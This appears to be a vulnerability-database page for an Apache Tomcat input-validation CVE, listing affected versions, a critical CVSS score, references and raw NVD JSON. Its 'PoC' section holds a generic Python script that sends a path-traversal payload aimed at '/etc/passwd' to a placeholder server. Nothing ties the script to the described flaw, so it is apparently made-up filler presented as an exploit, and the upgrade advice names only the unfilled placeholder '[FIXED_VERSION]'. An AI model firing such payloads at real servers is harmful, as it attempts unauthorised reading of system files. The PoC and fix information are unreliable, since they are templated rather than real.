CVE-2026-41293

Description

Improper Input Validation vulnerability in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27. Older, end of support versions may also be affected. Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Apache Tomcat 11.0.0-M1 至 11.0.21

Apache Tomcat 10.1.0-M1 至 10.1.54

Apache Tomcat 9.0.0.M1 至 9.0.117

Apache Tomcat 10.0.0-M1 至 10.0.27

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-41293
# This script sends a malicious payload to trigger the input validation vulnerability.
# Note: For educational and testing purposes only.

target_url = "http://target-server:8080/"
malicious_header = "CVE-2026-41293-Exploit"
payload = "../../../etc/passwd"  # Example payload, adjust based on actual vulnerability context

headers = {
    "User-Agent": "Mozilla/5.0",
    "X-Custom-Header": malicious_header,
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {
    "input": payload
}

try:
    response = requests.post(target_url, headers=headers, data=data, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check server response for indication of vulnerability.")
        print(response.text[:200])
    else:
        print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41293
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41293
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41293/
[4] VulDB https://vuldb.com/cve/CVE-2026-41293
[5] https://lists.apache.org/thread/qwg0q16z7xkb2qrr853wdll5531mvl1r
[6] http://www.openwall.com/lists/oss-security/2026/05/12/13

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41293", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:17.553", "lastModified": "2026-05-14T20:17:04.243", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Input Validation vulnerability in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.\nOlder, end of support versions may also be affected.\n\nUsers are recommended to upgrade to version [FIXED_VERSION], which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://lists.apache.org/thread/qwg0q16z7xkb2qrr853wdll5531mvl1r", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/12/13", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}